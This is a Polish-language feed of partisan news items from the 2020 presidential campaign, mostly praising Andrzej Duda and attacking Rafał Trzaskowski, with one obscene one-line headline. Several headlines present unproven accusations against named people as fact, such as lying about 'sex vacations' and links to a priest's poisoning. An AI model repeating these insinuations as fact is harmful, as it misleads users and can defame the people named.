"Posterunki stały się symbolem naszej polityki bezpieczeństwa, naszej - czyli rządu Prawa i Sprawiedliwości i prezydenta"

- mówił Zieliński

. Dodał, że takim symbolem jest też Krajowa Mapa Bezpieczeństwa. Przekonywał, że ważna jest w tym rola urzędującego prezydenta.

Wojewoda podlaski Bohdan Paszkowski powiedział, że w odtwarzaniu i tworzeniu posterunków pomagały samorządy, które przekazywały swoje środki na ten cel lub nieruchomości.

R: 6 / I: 0 / P: 19

Duda gwarantuje: Polska nie uzna żadnych roszczeń do "mienia bezspadkowego"

- Nie zgodzę się na wprowadzanie do polskiego prawa konstrukcji, które premiują jedne grupy etniczne i w nieusprawiedliwiony sposób przyznają im dodatkowe korzyści - zadeklarował Andrzej Duda. Ubiegający się o reelekcję prezydent podkreślił, że ewentualne roszczenia za II wojnę światową powinny być kierowane do Niemiec.

Andrzej Duda podczas spotkania z mieszkańcami Wieliczki (woj. małopolskie) pokreślił, że "jest wiele obaw, że będziemy realizowali jakieś obce roszczenia wynikające z ustaw przyjmowanych nawet w sojuszniczych nam państwach".

"Chcę jasno powiedzieć, jako prawnik i polityk, że żadne ustawodawstwo przyjmowane w obcych krajach nie obowiązuje u nas i dopóki jestem prezydentem Polski nie będzie obowiązywało"

- zadeklarował.

"Nie zgodzę się na wprowadzanie do polskiego prawa konstrukcji, które premiują jedne grupy etniczne w stosunku do innych grup etnicznych i w nieusprawiedliwiony sposób przyznają jakieś dodatkowe uprawnienia i korzyści, bo to jest niezgodne z polską konstytucją"

- oświadczył.

Dodał, że "wszyscy są równi wobec prawa".

Prezydent zaznaczył, że "jeśli nie ma spadkobierców, to państwo przyjmuje tę własność".

"To jest prosta zasada i nie można jej w Polsce zmieniać, tym bardziej w stosunku do jakiejś grupy etnicznej"

- ocenił.

Według prezydenta "jeśli ktoś oczekuje odszkodowań, bo stała się ogromna krzywda w czasie II wojny światowej, to trzeba popatrzeć, kto wojnę wywołał i tam skierować swoje roszczenia, z całą pewnością uzasadnione".

"Wywołały ją hitlerowskie Niemcy, które napadły na nas 1 września 1939 r., a potem dołączyła stalinowska Rosja - tak było, i nikt i nic nie zmieni tej historii"

- podkreślił.

Duda zaznaczył, że chce Polski nowoczesnej i rozwiniętej, w której w pełni działa szerokopasmowy internet i nie ma wykluczenia komunikacyjnego. Przypomniał o zaproponowanym przez siebie programie budowy 200 przystanków kolejowych.

"Wskazanych przez samorządy tam, gdzie ludzie nie mogą dojechać, by poszerzyć ich możliwości zdobycia pracy, możliwości przemieszczania się, możliwości życiowe"

- tłumaczył.

Andrzej Duda podkreślał, że konieczna jest odbudowa dworców kolejowych, z których od lat nikt nie korzystał z powodu likwidacji połączeń. Wskazywał również na konieczność stworzenia Funduszu Inwestycji Lokalnych, który pomagałby samorządom w realizacji inwestycji finansowanych z programów rządowych i unijnych.

Ocenił, że niewykorzystanie "ogromnych" środków, jakie Polska otrzyma z Unii Europejskiej i Europejskiego Funduszu Odbudowy byłoby "niewybaczalnym grzechem".

"Mamy od 30 lat wolne, prawdziwie suwerenne państwo, w którym sami się rządzimy, mamy odpowiedzialność przed przyszłymi pokoleniami, jaką Polskę im zostawimy. Musimy zostawić im Polskę silną, sprawiedliwą, dobrze rozwiniętą; musimy zostawić im poważne polskie państwo, które ma swoje godne miejsce w sercu Europy, które z podniesioną głową idzie poprzez historię, które może wspierać słabszych, a nie musi bać się silnych"

- mówił prezydent.

Andrzej Duda poprosił również mieszkańców Wieliczki o wsparcie i udział w niedzielnych wyborach.

Dzisiaj większości polskich rodzin żyje się lepiej niż w 2015 r.

- podkreślił.

Zapewnił, że będzie gwarantem polityki prospołecznej w Polsce, jego celem jest też ambitna polityka gospodarcza i inwestycyjna.

R: 0 / I: 0 / P: 19

Trzaskowski kłamie na temat swoich seks-wakacji

Rafał Trzaskowski twierdził, że swój pobyt w Brazylii przedłużył w związku z "prośbami MSZ", aby "rozmawiać z przedsiębiorcami brazylijskimi". - Po kwerendzie MSZ nie odnaleźliśmy śladów, by ktoś zwracał się do ówczesnego Ministra Cyfryzacji z takimi prośbami – ani sprawozdania z tych spotkań. Nie mamy żadnego potwierdzenia, czy rzeczywiście się one odbyły - napisał dzisiaj na Twitterze Paweł Jabłoński, wiceminister spraw zagranicznych.

Kandydat KO, Rafał Trzaskowski, w środę na konferencji prasowej w Szczecinie był pytany o swoją wizytę w Brazylii, w czasie gdy pełnił funkcję ministra administracji i cyfryzacji (w latach 2013-2014). - Dlaczego, skoro konferencja trwała dwa dni, hotel był zabukowany na sześć - pytał dziennikarz.

- W związku z prośbami MSZ zostałem jeszcze chyba półtora dnia, by rozmawiać z przedsiębiorcami brazylijskimi, którzy mieli polskie korzenie, zaakcentowali polskie korzenie i chcieli w Polsce inwestować, bo tak się prowadzi politykę zagraniczną państwa, że zaprzęga się do tego ministrów - odpowiedział Trzaskowski.

Do tej wypowiedzi odniósł się w swoim tweecie wiceminister spraw zagranicznych Paweł Jabłoński.

- W związku z informacjami Rafała Trzaskowskiego informuję, że po kwerendzie MSZ nie odnaleźliśmy śladów, by ktoś zwracał się do ówczesnego Ministra Cyfryzacji z takimi prośbami – ani sprawozdania z tych spotkań. Nie mamy żadnego potwierdzenia, czy rzeczywiście się one odbyły

- napisał Jabłoński.

W zw. z informacjami @trzaskowski_ informuję, że po kwerendzie w @MSZ_RP nie odnaleźliśmy śladów, by ktoś zwracał się do ówczesnego Ministra Cyfryzacji z takimi prośbami –ani sprawozdania z tych spotkań. Nie mamy żadnego potwierdzenia, czy rzeczywiście się one odbyły. pic.twitter.com/kMqYqJw8U3

— Paweł Jabłoński (@paweljabIonski) July 9, 2020

Nasz portal informował we wtorek, że Rafał Trzaskowski jako szef resortu administracji i cyfryzacji, odbył w kwietniu 2014 r. kilkudniową służbową wizytę w Brazylii, która została sfinansowana przez Ministerstwo Administracji i Cyfryzacji. Celem wyjazdu był udział Trzaskowskiego w jednym z paneli dyskusyjnych podczas dwudniowej konferencji "NetMundial - zarządzanie światowym internetem w Sao Paulo (23 -24 kwietnia 2014 r.)". Trzaskowski podczas pobytu w Brazylii wziął udział w panelu jednego dnia, a koszty całej delegacji wyniosły ponad 63 tys. zł.

Kandydat KO na konferencji prasowej w Szczecinie wyjaśniał szczegóły dotyczące jego pobytu w Brazylii jako szefa MAiC.

- Byłem na bardzo ważnym posiedzeniu, na którym miała się decydować przyszłość wolności internetu - tłumaczył. - Zajmowaliśmy się tym, by ONZ-owska agenda nie przejęła w całości zarządzania internetem, dlatego, że skończyłoby się to cenzurą. Co być może pasowałoby rządowi PiS, ale nie mnie - zaznaczył.

O czym w Brazylii mówił Trzaskowski? Dziś wzięliśmy to pod lupę. Z 3-minutowego przemówienia Rafała Trzaskowskiego wynika, że - gdyby odsiać wszystkie banały - próbował z siebie zrobić bojownika o wolność w internecie. Ale - jak sprawdziliśmy - sam wieńczący konferencję dokument, którym tak zachwycał się Trzaskowski, był ostro krytykowany przez przedstawicieli społeczeństwa obywatelskiego.

R: 0 / I: 0 / P: 19

Zofia Klepacka na manifestacji pod skłotem Antify

- Modlę się do Boga, żeby przypadkiem Trzaskowski nie wygrał tych wyborów. (…) On „odwraca kota ogonem” mówiąc, że nie jest za adopcją dzieci przez homoseksualistów, a jeszcze niedawno mówił, że chciałby być pierwszym prezydentem miasta, który udzieliłby ślubu parze homoseksualnej. Jest gotów powiedzieć wszystko, żeby wygrać wybory, po prostu „wciska ludziom farmazon” – powiedziała w rozmowie z Niezalezna.pl Zofia Klepacka. Ze sportsmenką rozmawialiśmy przed rozpoczęciem manifestacji pod skłotem przy ul. Ks. Skorupki w Warszawie.

W reakcji na nasilające się w ostatnim czasie ataki na m.in. wolontariuszy akcji „Stop Pedofilii” oraz wobec bezczynności władz Warszawy, a także bagatelizowania problemu przez policję, Fundacja Pro-Prawo do Życia zorganizowała dziś manifestację pod jednym z dwóch śródmiejskich skłotow, przy ul. Wilczej 30. Miejsca te zamieszkują nielegalnie działacze Antify, anarchiści i aktywiści LGBT.

W manifestacji bierze udział m.in. wybitna polska sportsmenka, windsurferka Zofia Klepacka, z którą udało nam się porozmawiać tuż przed jej rozpoczęciem.

Skąd pomysł na ten protest? Przeciwko komu lub czemu chcesz dziś protestować?

- Od dłuższego czasu obserwuję to, co się dzieje wokół skłotów na ul. Wilczej i na Ks. Skorupki, ponieważ jestem stąd, tu się wychowałam. Cały czas mieszkają tu moi rodzice, więc często bywam na Śródmieściu. W tych skłotach mieszkają „nieproszeni goście”, którzy okupują m.in. dawny żłobek. Ostatnio bardzo zaniepokoiła mnie sytuacja, kiedy napadnięto na ul. Wilczej wolontariuszy Fundacji Pro-Prawo do Życia i zniszczono ich samochód. To, że mieszkańcy tych skłotów obrażają, czy zaczepiają ludzi, jest już na „porządku dziennym”, obserwuję to przez lata, ale to, co się stało dwa tygodnie temu, kiedy w „biały dzień” zaatakowano działaczy pro-life, przekracza już wszelkie granice. Zauważ, że równie dobrze, to mogłam być ja, czy ty. Być może wkrótce za noszenie w tym miejscu krzyżyka będzie można dostać za to przysłowiowe „bęcki”.

Ale władze miasta chyba nie widzą problemu i tolerują tych zadymiarzy w centrum Warszawy już od wielu lat. Co na to okoliczni mieszkańcy?

- Mieszkańcy niejednokrotnie na nich narzekają. Nawet na wielu forach społecznościowych pojawiały się skargi, ale generalnie ludzie się ich [mieszkańców skłotów-red.] boją, są zastraszeni. Weź pod uwagę, że ludzie z Antify są nieobliczalni, co można było zobaczyć w „biały dzień” przed dwoma tygodniami. Nikt nie chce dostać w zęby. Zwykli ludzie za dużo nie mogą, nie mają szansy przebicia. Jolanta Brzeska też walczyła o swoje mieszkanie i została spalona żywcem. W tych skłotach nie mieszkają żadni bezdomni, czy ludzie którzy nie mają dachu nad głową. Zwykłych mieszkańców wyrzucano na bruk, a tych ludzi się toleruje.

Nie tylko toleruje. Okazuje się, że miasto Warszawa, które nie wypłaca odszkodowań ofiarom dzikiej reprywatyzacji, jest bardzo szczodre dla lewicującej młodzieży. Jak zapewne wiesz, sfinansowało im (kwotą ok. 3,6 mln zł) m.in. zajęcia z taktyki i gimnastyki miejskiej. O co tu twoim zdaniem chodzi?

- Widocznie oni są potrzebni miastu, żeby robić „ferment” np. w czasie Marszu Niepodległości. Te warsztaty o których wspomniałeś miały nauczyć ich działania w grupie, jak zwalczać faszystów. Ale ja nie widzę nigdzie w Polsce faszystów. Chodzę na Marsz Niepodległości z dziećmi, z rodziną, niosę polską flagę. Czy wtedy jestem faszystką? Może ktoś z zagranicy jest zainteresowany, żeby wpierać antifiarzy? W 2013 roku ci skłotersi podczas Marszu Niepodległości rzucali w nas koktajlami Mołotowa. To tylko pokazuje jak działa miasto Warszawa i jakie są tam kliki.

Mój tata pamięta jak na ul. Ks. Skorupki budowano żłobek, który teraz okupuje Antifa. Głównym hasłem Rafała Trzaskowskiego, kiedy kandydował na urząd prezydenta Warszawy, było zapewnienie każdemu dziecku w mieście miejsca w żłobku i w przedszkolu. Teraz władze Warszawy przeznaczają miliony na warsztaty z taktyki miejskiej, a nie na żłobek, w którym mieszkają skłotersi.

Rafał Trzaskowski pokazał po objęciu prezydentury w Warszawie swoje priorytety. Czy wyobrażasz sobie, że ten człowiek mógłby zarządzać całą Polską?

- (Śmiech). Oczywiście, że sobie nie wyobrażam i modlę się do Boga, żeby przypadkiem Trzaskowski nie wygrał tych wyborów. To jest człowiek zakłamany – obiecuje różne rzeczy, a potem ich nie robi. Poza tym on przynosi pecha, to jest pechowy prezydent, cały czas się coś złego dzieje w Warszawie. On kłamie i próbuje się podlizać wyborcom, m.in. wspominając śp. Lecha Kaczyńskiego, on „odwraca kota ogonem” mówiąc, że nie jest za adopcją dzieci przez homoseksualistów, a jeszcze niedawno mówił, że chciałby być pierwszym prezydentem miasta, który udzieliłby ślubu parze homoseksualnej. Jest gotów powiedzieć wszystko, żeby wygrać wybory, po prostu „wciska ludziom farmazon”.

R: 0 / I: 0 / P: 19

Niepełnosprawna wykluczona z fundacji zarządzanej przez radną PO, bo... poparła Dudę?

- Jak można prześladować osobę niepełnosprawną ze względu na poglądy polityczne, które wyznaje? Czy na tym polega walka z dyskryminacją, o której tak często mówi Rafał Trzaskowski? Oczekujemy szybkich działań od Rafała Trzaskowskiego i innych liderów PO w tej sprawie, bo jest to hańba, hańba PO - mówił na konferencji prasowej rzecznik sztabu Andrzeja Dudy, Adam Bielan, który relacjonował opisaną w mediach społecznościowych sprawę niepełnosprawnej kobiety, która została wykluczona z fundacji kierowanej przez radną PO. Powodem miało być poparcie dla prezydenta Andrzeja Dudy.

Bulwersującą sprawę opisała na Facebooku niepełnosprawna Anna Derewienko.

Sprawę przedstawił również na konferencji prasowej Adam Bielan, rzecznik sztabu wyborczego Andrzeja Dudy.

Jak dowiedzieliśmy się z mediów społecznościowych, pani Anna Derewienko, osoba niepełnosprawna po amputacji nóg, za poparcie w mediach społecznościowych kandydatury prezydenta Andrzeja Dudy w wyborach prezydenckich, została usunięta z listy podopiecznych fundacji, której prezesem jest radna PO w Bydgoszczy, pani Katarzyna Zwierzchowska

- mówił.

Bielan ocenił, że "to jest wydarzenie skandaliczne".

Jak można prześladować osobę niepełnosprawną ze względu na poglądy polityczne, które wyznaje? Czy na tym polega walka z dyskryminacją, o której tak często mówi Rafał Trzaskowski? Oczekujemy szybkich działań od Rafała Trzaskowskiego i innych liderów PO w tej sprawie, bo jest to hańba, hańba PO

- powiedział.

Wasze zachowanie wobec osób niepełnosprawnych z których poglądami politycznymi się nie zgadzacie, jest absolutnie haniebne i skandaliczne. My obiecujemy, że będziemy tę sprawę obserwować i wyjaśnimy ją do samego końca

- zadeklarował Bielan.

Tak! To jest działanie mafijne!

Usunięcie niepełnosprawne osoby po amputacji nóg z listy podopiecznych fundacji lokalnego polityka @Platforma_org - bo ośmieliła się w mediach społecznościowych wyrazić poparcie dla Prezydenta [email protected] 🇵🇱 pic.twitter.com/BnMk1cg5or

— Jerzy Polaczek (@JerzyPolaczek) July 9, 2020

R: 6 / I: 0 / P: 19

TAK POLSKI KONTRWYWIAD OBCIĄGA KUTASA

CYBER_MIL_PL

#Uroczystość3lipca Mamy to!!! Narodowe Centrum Bezpieczeństwa Cyberprzestrzeni jest już w posiadaniu Sztandaru najcenniejszego symbolu uznania dla instytucji wojskowej. #bronimypolskącyberprzestrzeń #cyfroweSERCEarmii #WojskoPolskie #NCBC pic.twitter.com/iGnjmaJFLB

https://mobile.twitter.com/CYBER_MIL_PL/status/1279020829414735877/photo/1

https://coub.com/view/zf1jb

R: 6 / I: 0 / P: 19

Narodowcy apelują do uczestników Marszu Niepodległości

W dzisiejszym wydaniu programu „Pilnujmy Polski” na antenie Telewizji Republika redaktor Ryszard Gromadzki wyjątkowo rozmawiał nie z marszałkiem seniorem Antonim Macierewiczem, ale z członkami Stowarzyszenia „Pilnujmy Polski”: Marianem Kowalskim i Piotrem Dziadulem. – Stawka jest o wiele wyższa niż to, który z dwóch kandydatów będzie prezydentem Polski. Wiemy bowiem doskonale, że albo Polska będzie państwem liczącym się w sojuszu ze Stanami Zjednoczonymi Donalda Trumpa, albo tylko jednym z państw Unii Europejskiej, i to takich o statusie półkolonialnym - stwierdził Marian Kowalski.

Redaktor Gromadzki zapytał Piotra Dziadula, znanego z działalności w ruchu narodowym, o ocenę decyzji Krzysztofa Bosaka, który po I turze wyborów oświadczył, że nie udziela żadnej konkretnej rekomendacji i nie poprze żadnego z kandydatów w II turze.

- Czy nie sądzi Pan, że jest pewien dysonans w stawianiu znaku równości między Andrzejem Dudą a Rafałem Trzaskowskim przy wszystkich różnicach dzielących obu polityków?

- dopytywał prowadzący.

– Ze strony liderów Konfederacji jest to na pewno bardzo duże nadużycie. Stawianie znaku równości między kandydatem Trzaskowskim a prezydentem Andrzejem Dudą jest niegodziwe. Ten, kto nie dostrzega na tym poziomie różnic w polityce, traktuje tę politykę w sposób bardzo egoistyczny i cyniczny

- ocenił Piotr Dziadul.

– Trzeba jasno powiedzieć, że Konfederacja gra na swój doraźny interes polityczny, kalkuluje wobec bieżącej strategii i taktyki politycznej. Jest to bardzo niebezpieczna gra, która otwiera drzwi do szeregu niebezpiecznych zjawisk w polskiej polityce. Nie rozumiem takiej postawy

- podkreślił.

– Mamy do czynienia ze zderzeniem dwóch cywilizacji - bo już nawet nie chodzi o dwie partie polityczne, ale właśnie o dwie cywilizacje. Wiemy, że są rozmaite niedoskonałości obozu rządzącego, niemniej nie można mówić, że to władza, która nie dba o interesy zwykłych Polaków czy nie troszczy się o państwo polskie na różnych płaszczyznach. Zresztą uczestnicy Marszu Niepodległości doskonale pamiętają, jak wyglądało to wydarzenie w czasach rządów PO-PSL. Odkąd Prawo i Sprawiedliwość objęło rządy w Polsce, Marsz Niepodległości to już miła, rodzinna przechadzka. Jeżeli ktoś nie widzi różnicy, to albo nigdy na Marszu nie był, albo ma bardzo krótką pamięć

- powiedział z kolei Kowalski.

– Cieszę się, ze akurat Stowarzyszenie Marsz Niepodległości zajęło jednoznaczne stanowisko, ale miejmy świadomość, że sama Konfederacja jest konglomeratem rozmaitych środowisk, które nie tylko rywalizowały, ale i walczyły ze sobą, więc ja się wcale nie dziwię, że trudno dojść do jakiegoś porozumienia. Bądź co bądź, kandydat na prezydenta powinien mieć tę śmiałość i wyrazić swoje prywatne zdanie

- dodał.

– Kiedy 5 lat temu kandydowałem z Ruchu Narodowego na prezydenta Polski, to w II turze poparłem prezydenta Dudę, nie miałem z tym żadnego problemu, choć w kampanii bardzo go krytykowałem

- przypomniał Marian Kowalski.

– Apeluję do wszystkich polskich młodych patriotów: nie dajcie się nabrać na konfederacyjny znak równości między Rafałem Trzaskowskim a Andrzejem Dudą. To wierutne kłamstwo i bzdura, które otwierają drzwi do procesów, których w Polsce nigdy nie chcemy widzieć

- podkreślił Piotr Dziadul.

R: 0 / I: 0 / P: 19

Czy znajoma Trzaskowskiego brała udział w otruciu księdza?

Ze zdwojoną siłą w końcówce kampanii prezydenckiej powróciła sprawa przekazania przez Rafała Trzaskowskiego z budżetu Warszawy blisko 2 mln zł organizacji Jolanty Lange. O sprawie pisały szeroko polskie, włoskie i amerykańskie media. Ta aktywistka na rzecz LGBT, aborcji i feminizmu była podejrzewana o udział w otruciu Sługi Bożego ks. Franciszka Blachnickiego.

Kandydat na urząd prezydenta RP nie odciął się od Jolanty Lange. Mało tego, występował obok niej na rozmaitych imprezach. Widocznie nie tylko nie przeszkadza mu jej ubecka proweniencja, ale utożsamia się także z wartościami prezentowanymi przez byłą agentkę komunistycznych służb.

Czy znajoma Trzaskowskiego brała udział w otruciu księdza?

Wszystko wskazuje na to, że Lange, która w 2006 r. zmieniła nazwisko z Gontarczyk (po mężu Andrzeju) na rodowe po rodzinie ojca, przez lata mogła liczyć na parasol ochronny ze strony bliskich jej polityków Platformy Obywatelskiej. Teraz znów nadchodzą dla niej trudne czasy, będzie musiała bowiem rozliczyć się z działalności agenturalnej prowadzonej za granicą, której celem było rozpracowywanie środowisk patriotycznych i Kościoła katolickiego.

Chodzi konkretnie o śledztwo w sprawie otrucia ks. Franciszka Blachnickiego, założyciela Ruchu Światło-Życie. Postępowanie zostało umorzone w 2006 r. przez prokurator Ewę Koj, jednak na wniosek posła Prawa i Sprawiedliwości Tomasza Rzymkowskiego do prokuratora generalnego śledztwo jest wznowione. Prokuratura będzie badać sprawę małżeństwa komunistycznych agentów Andrzeja i Jolanty Gontarczyków, którzy działając pod pseudonimami Yon i Panna, mogli przyczynić się do otrucia ks. Blachnickiego. Małżeństwo było ostatnimi osobami, z jakimi kontaktowała się ofiara tuż przed śmiercią. Oficerami prowadzącymi Gontarczyków byli Waldemar Mendzelewski, Robert Grochala, nadzorowali Henryk Bosak, Henryk Wróblewicz i Aleksander Makowski.

Śledczy podejrzewają, że małżeństwo mogło wystawić Blachnickiego, a tym samym brać bezpośredni udział w jego zabójstwie. Ksiądz Blachnicki najprawdopodobniej został otruty. Świadczą o tym objawy podczas zgonu, typowe dla działania związków chemicznych. Oficjalnie stwierdzono zator płucny, ale mogły być także inne przyczyny. Niemiecki lekarz stwierdził, że ofiara toczyła pianę z ust. To typowy objaw otrucia, a nie zatoru. Sekcji zwłok nie przeprowadzono, więc konieczna będzie ekshumacja.

Krótko przed śmiercią ks. Blachnicki dowiedział się, że małżeństwo, któremu tak zaufał, zdradziło go i działa na rzecz komunistów. Był bardzo wzburzony po spotkaniu z nimi, potem wrócił do domu, położył się i zmarł.

Gontarczykowie po śmierci ks. Blachnickiego i dekonspiracji uciekli przez Węgry do PRL. Mogli liczyć na ciepłe przyjęcie. Pisał o nich tygodnik „Polityka”, a wychwalał sam Jerzy Urban, który nienawidzi Kościoła z taką samą mocą.

Otrucie było typowym działaniem sowieckich i komunistycznych służb, które stosowano wobec niewygodnych przeciwników politycznych. Rycyną zgładzono Georgiego Markowa, bułgarskiego dysydenta na emigracji w Londynie. Stepan Bandera padł z rąk KGB po podaniu cyjanku potasu w Monachium.

Księdza Blachnickiego o agentach działających w jego otoczeniu poinformował Andrzej Wirga, działacz Solidarności Walczącej. Gontarczykowie musieli się o tym dowiedzieć, przez co decyzja o zgładzeniu niepokornego księdza musiała zapaść bardzo szybko. Rozmowa z agentami odbyła się 27 lutego 1987 r. Potem ksiądz wrócił do domu, zaczął kaszleć i zasłabł, a niedługo potem zmarł. Gontarczykowie podczas pierwszego śledztwa wypierali się swojej działalności agenturalnej, mimo ewidentnych dowodów, że zostali skierowani do Niemiec przez komunistyczny wywiad PRL.

Środowisko lewicy i PO mogło kryć agentów

Po zmianie systemu Gontarczykowie korzystali z parasola komunistycznych służb. Oficerowie prowadzący stali się funkcjonariuszami Urzędu Ochrony Państwa lub zostali członkami nowego wywiadu. Agenci mogli kontynuować swoją karierę w środowiskach lewicowych. Zostali zwerbowani, aby walczyć z Kościołem, a teraz mogli robić to za pomocą działań wspierających mniejszości seksualne czy promujących aborcje na życzenie. Mieli wpływy, otrzymywali hojne dotacje z instytucji państwowych.

Jolanta Lange (vel Gontarczyk) obecnie zajmuje się między innymi promocją środowiska LGBT, feminizmu i aborcji. W ubiegłym roku wystąpiła z Trzaskowskim na konferencji prasowej w trakcie tak zwanych V Warszawskich Dni Różnorodności, a w grudniu ubiegłego roku na podstawie zarządzenia prezydenta Warszawy wyznaczono dotację na prowadzenie Centrum Wielokulturowego w Warszawie, którego głównym operatorem jest fundacja Jolanty Lange. Zapisana kwota to 1,85 mln zł. Lange jest obecnie prezesem Stowarzyszenia na rzecz Rozwoju Społeczeństwa Obywatelskiego Pro Humanum. Można powiedzieć, że robi karierę w asyście polityków opozycji.

R: 2 / I: 0 / P: 19

Polacy zmieniają nawyki przed drugą falą pandemii

Polacy są gotowi na drugi atak koronawirusa. Rezygnujemy z podróży i biletów na wydarzenia kulturalne, ponad 40 proc. z nas oszczędza na czarną godzinę – wynika z najnowszej analizy.

Z badań ARC Rynek i Opinia, które opublikowała dziś „Rzeczpospolita” wynika, że 76 proc. Polaków obawia się nawrotu ataku koronawirusa, a ponad połowa z nich (55 proc.) przyznaje, że te obawy mają wpływ na ich codzienne decyzje.

Jak zatem Polacy przygotowują się na drugą falę pandemii koronawirusa? Okazuje się, że najbardziej widoczną zmianą jest nieplanowanie podróży zagranicznych (tak twierdzi 56 proc. respondentów), oszczędzanie pieniędzy na gorsze czasy (42 proc.) i rezygnacja z zakupu biletów na wydarzenia kulturalne (36 proc.).

Poza tym, że ograniczamy wydatki, podejmujemy również aktywne działania, które mają nam pomóc w przypadku nawrotu pandemii.

„Jak pokazują badania, aż 29 proc. z nas przyznaje, że szuka alternatywnego sposobu zarobienia pieniędzy w internecie (zaletą takiej pracy miałby być brak konieczności wychodzenia z domu). W tej grupie dominują osoby młode (18–24 lata), które stanowią ponad 40 proc. Jak podaje ARC, 14 proc. z nas, aby uniezależnić się od przynajmniej części zakupów, zdecydowało się uprawiać własne warzywa i owoce. Niektórzy na tyle obawiają się drugiej fali pandemii, że myślą nawet o zakupie działki, na którą można by się przenieść w przypadku kolejnego lockdownu (tak twierdzi 4 proc. Respondentów)”.

- czytamy.

R: 0 / I: 0 / P: 19

Biedny Tygrysek

Jakie życie jest dowcipne, złośliwe i w wielu przypadkach przewidywalne, przekonał się ostatnio Władysław Kosiniak-Kamysz, kandydat PSL-Kukiz na prezydenta RP. Start Kosiniak-Kamysz miał brawurowy i dokładnie na starcie przylgnął do niego pseudonim „Tygrysek”.

Pierwszy raz o „Tygrysku” Polacy dowiedzieli się dzięki niedoszłej Pierwszej Damie, która już się widziała w Pałacu, ale jej marzenia stały się przekleństwem męża. O tym, że lider PSL przegrał wybory, i to z kretesem, wiemy od niedzieli, jednak to tylko jedna z wielu porażek. W poniedziałek odezwał się koalicjant Paweł Kukiz i oświadczył, że on na PSL też by nie głosował, po czym dodał, że jak tak dalej pójdzie, to koalicja się rozpadnie. Władek, bo tak Kukiz zwracał się do Kosiniaka-Kamysza, stracił cały swój urok. Tak działają w polityce porażki, przegranych rozlicza się natychmiast i nie pomogą żadne czary-mary, tłumaczenia, że polaryzacja, że media niesprawiedliwe, że „wojna polsko-polska”. Gdyby to jeszcze była mała porażka, to jakoś by się rozeszła po kościach, ale inaczej niż sromotną porażką wyniku Kosiniaka-Kamysza na poziomie 2,6 proc. nazwać się nie da. W takim przypadku całe otoczenie zaczyna się nerwowo rozglądać i błyskawicznie ucieka na drugą stronę. Doszło do tego, że w pierwszym komentarzu małżonka „Tygryska” oświadczyła: „Do tej pory nie widziałam się jeszcze z mężem, jeszcze go nie przytuliłam”. Jest to chyba najbardziej bolesny obraz i wskaźnik porażki. Mógł Kosiniak-Kamysz przegrać tylko wybory, na co zresztą był skazany, ale przegrał życie i „Tygryskiem” zostanie do końca. Przy każdych kolejnych wyborach będzie to wypominane, jak Ryszardowi Petru Madera. Tak się kończą reżyserowane wygłupy polityków i niecierpliwych żon.

R: 0 / I: 0 / P: 19

Bohater totalniaków się skończył

Oświęcimski sąd rejonowy uznał dziś, że kierowca fiata seicento jest winien nieumyślnego spowodowania wypadku w 2017 r. w Oświęcimiu, w którym poszkodowana została m.in. Beata Szydło. Zarazem warunkowo umorzył postępowanie na rok. Sąd uznał, że także kierowca BOR złamał przepisy.

Kierowca seicento musi zapłacić po 1 tys. zł. nawiązki poszkodowanym w wypadku – byłej premier Beacie Szydło oraz funkcjonariuszowi BOR.

Wyrok, który zapadł w obecności kierowcy seicento Sebastiana Kościelnika [zezwolił na podanie nazwiska], jest nieprawomocny.

Sędzia Agnieszka Pawłowska wskazała w uzasadnieniu, że Kościelnik nie zachował wystarczającej ostrożności na drodze. Przepuścił pierwszy samochód rządowy i rozpoczął manewr skrętuSędzia zaznaczyła, że także kierowca BOR złamał przepisy. Zdaniem sądu trzy rządowe auta nie stanowiły kolumny uprzywilejowanej, gdyż używały tylko sygnalizacji świetlnej. Nie było sygnalizacji dźwiękowej. Kierowca samochodu, w którym jechała była premier, został obarczony winą za wyprzedzanie na podwójnej ciągłej linii. Sąd postanowił poinformować o tym prokuraturę.

Prokurator okręgowy z Krakowa Rafał Babiński powiedział, że śledczy zapoznają się z uzasadnieniem wyroku na piśmie.

- W ustnym uzasadnieniu nie znalazłem odpowiedzi na kluczowe pytania postawione przez prokuraturę. Przede wszystkim sąd użył formuły, że rządowy samochód wyprzedał, a nie mijał fiata. To zmienia spojrzenie na rolę poszczególnych osób

– powiedział.

R: 1 / I: 0 / P: 19

Jakubiak zwrócił się z apelem do Konfederacji

- Nie bardzo rozumiem, jak Korwin-Mikke, Winnicki albo Bosak mogliby zagłosować na Trzaskowskiego. To nie do pojęcia. Gorąco apeluję do wszystkich Konfederatów, żeby przemyśleli dwa razy, zanim - "na złość babci odmrożą sobie uszy". Tym bardziej, że - szczególnie narodowcy - mają bardzo przykre doświadczenia za rządów PO - mówił dzisiaj podczas briefingu prasowego prezes Federacji dla Rzeczypospolitej, Marek Jakubiak.

Ponad 80 proc. członków Federacji dla Rzeczypospolitej w zorganizowanej wewnątrz ugrupowania ankiecie wyraziło poparcie dla Andrzeja Dudy w drugiej turze wyborów prezydenckich.

- Jestem niezmiernie dumny z tego, że tak miażdżącą większością członkowie i sympatycy FdR postanowili określić, bez zbędnych komentarzy, że wśród dwóch kandydatów jeden jest im tak bardzo bliski. Andrzej Duda będzie oficjalnie popierany przez Federację dla Rzeczypospolitej

- poinformował dzisiaj podczas briefingu prasowego prezes partii, Marek Jakubiak, który również startował w tegorocznych wyborach prezydenckich.

Pytany przez dziennikarzy o Konfederację, która nie wyraziła oficjalnego poparcia dla żadnego z kandydatów walczących w drugiej turze, Jakubiak stwierdził, że "nie wyobraża sobie", by "konfederaci" mogli zagłosować na Rafała Trzaskowskiego.

- Nie bardzo jestem w stanie zrozumieć, jak Korwin-Mikke, Winnicki czy Krzysztof Bosak mogliby zagłosować na Trzaskowskiego. To nie do pojęcia. Myślę, że to tylko politykowanie, natomiast decyzje będą podejmowane przy urnie. Gorąco apeluję do wszystkich Konfederatów, żeby przemyśleli dwa razy zanim "na złość babci odmrożą sobie uszy", bo wtedy będziemy w państwie Trzaskowskiego, a to już nie wróży niczego dobrego. Tym bardziej, że - szczególnie narodowcy - mają bardzo przykre doświadczenia za rządów PO. Przykre do tego stopnia, że musieli siedzieć w aresztach, przypominam wyciąganie z autobusów młodzieży jadącej na Marsz Niepodległości i wyrzucanie ich do rowów, przypominam całą tę atmosferę - strzelanie do górników

- mówił Jakubiak.

- Przypominam niespełnione obietnice Tuska. Widzę absolutną synergię między zachowaniem w owym czasie Tuska i dzisiaj Trzaskowskiego. Jest dokładnie to samo. Dyrdymały od rana do nocy - realizacji żadnej. Wybór jest dziś tylko jeden. Nie ma co wyrokować, że Duda jest taki czy inny. Jest wyborem cywilizacyjnym - dodał

R: 0 / I: 0 / P: 19

